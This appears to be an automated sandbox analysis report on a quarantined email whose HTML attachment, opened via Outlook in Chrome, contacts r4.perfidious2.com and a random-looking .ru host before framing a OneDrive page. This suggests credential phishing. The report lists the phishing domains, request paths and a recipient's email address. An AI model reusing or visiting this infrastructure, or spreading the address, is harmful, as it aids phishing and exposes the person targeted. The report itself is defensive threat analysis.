Source: global traffic	HTTP traffic detected: GET /xrwocikneyshqcuobdiBWotvECMIOKRYUODSYRKAHNRUPOWNPE HTTP/1.1Host: yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://r4.perfidious2.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://r4.perfidious2.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xrwocikneyshqcuobdiBWotvECMIOKRYUODSYRKAHNRUPOWNPE HTTP/1.1Host: yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: onedrive.live.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://r4.perfidious2.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: r4.perfidious2.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru
Source: global traffic	DNS traffic detected: DNS query: www.onedrive.com
Source: global traffic	DNS traffic detected: DNS query: onedrive.live.com
Source: global traffic	DNS traffic detected: DNS query: assets.onestore.ms
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com
Source: global traffic	DNS traffic detected: DNS query: c.s-microsoft.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 08:06:05 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: wYxO0Or3ig2H5/775zNgQpM3o+0Srym1zrY=$xLzlvJ1z5SubdAiLcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ec20e297c6742ab-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 08:06:11 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: h26thngSqFypPiZKwqJQjhYIBo38c8oWYVs=$GqHxApwwNgC8Jv4nServer: cloudflareCF-RAY: 8ec20e515930433e-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 08:06:17 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: JjD2CX1N/hXfgrgXk3T4sIgF/gN/Dyv6V9Q=$tlKoDlqPlLJQcELHServer: cloudflareCF-RAY: 8ec20e74fb97421b-EWRalt-svc: h3=":443"; ma=86400

Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD4157.2.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: chromecache_153.11.dr, chromecache_152.11.dr	String found in binary or memory: http://github.com/requirejs/almond/LICENSE
Source: chromecache_155.11.dr	String found in binary or memory: http://schema.org/Organization
Source: chromecache_155.11.dr	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
Source: c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM (002).html.2.dr, c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html.2.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Source: chromecache_155.11.dr	String found in binary or memory: https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.c
Source: chromecache_155.11.dr	String found in binary or memory: https://az725175.vo.msecnd.net/scripts/jsll-4.js
Source: chromecache_155.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Source: OUTLOOK_16_0_16827_20130-20241203T0305000970-6692.etl.2.dr	String found in binary or memory: https://login.windows.localMicrosR
Source: OUTLOOK_16_0_16827_20130-20241203T0305000970-6692.etl.2.dr	String found in binary or memory: https://login.windows.locale.OR
Source: OUTLOOK_16_0_16827_20130-20241203T0305000970-6692.etl.2.dr	String found in binary or memory: https://login.windows.localnull
Source: OUTLOOK_16_0_16827_20130-20241203T0305000970-6692.etl.2.dr	String found in binary or memory: https://login.windows.localnullK(
Source: chromecache_155.11.dr	String found in binary or memory: https://onedrive.live.com/about/en-us/
Source: chromecache_155.11.dr	String found in binary or memory: https://outlook.live.com/owa/
Source: chromecache_155.11.dr	String found in binary or memory: https://products.office.com/en-us/home
Source: chromecache_155.11.dr	String found in binary or memory: https://products.office.com/en-us/microsoft-teams/free?icid=SSM_AS_Promo_Apps_MicrosoftTeams
Source: chromecache_155.11.dr	String found in binary or memory: https://statics-marketingsites-wcus-ms-com.akamaized.net/statics/override.css?c=7
Source: chromecache_155.11.dr	String found in binary or memory: https://www.onenote.com/
Source: chromecache_155.11.dr	String found in binary or memory: https://www.skype.com/en/
Source: chromecache_155.11.dr	String found in binary or memory: https://www.xbox.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 40.126.53.11:443 -> 192.168.2.16:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49730 version: TLS 1.2

Source: classification engine

Classification label: mal56.troj.winZIP@37/75@42/13

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241203T0305000970-6692.etl

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Temp\Temp1_Quarantined Messages-9.zip\fb7c7073-ccea-4c68-9c85-08dd13607254\9de9ed28-1029-1749-d04e-5d4f9a0c641f.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "58E5FD18-D936-490C-AF87-5FBC9EC93ED3" "0CB40954-C5C9-406A-8BB6-935B9DD61AF0" "6692" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1972,i,1189373971307296502,8235848661946464853,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1940,i,384767199231337953,9581062395184261919,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "58E5FD18-D936-490C-AF87-5FBC9EC93ED3" "0CB40954-C5C9-406A-8BB6-935B9DD61AF0" "6692" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1972,i,1189373971307296502,8235848661946464853,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1940,i,384767199231337953,9581062395184261919,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\outlook\ConfigContextData 1

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
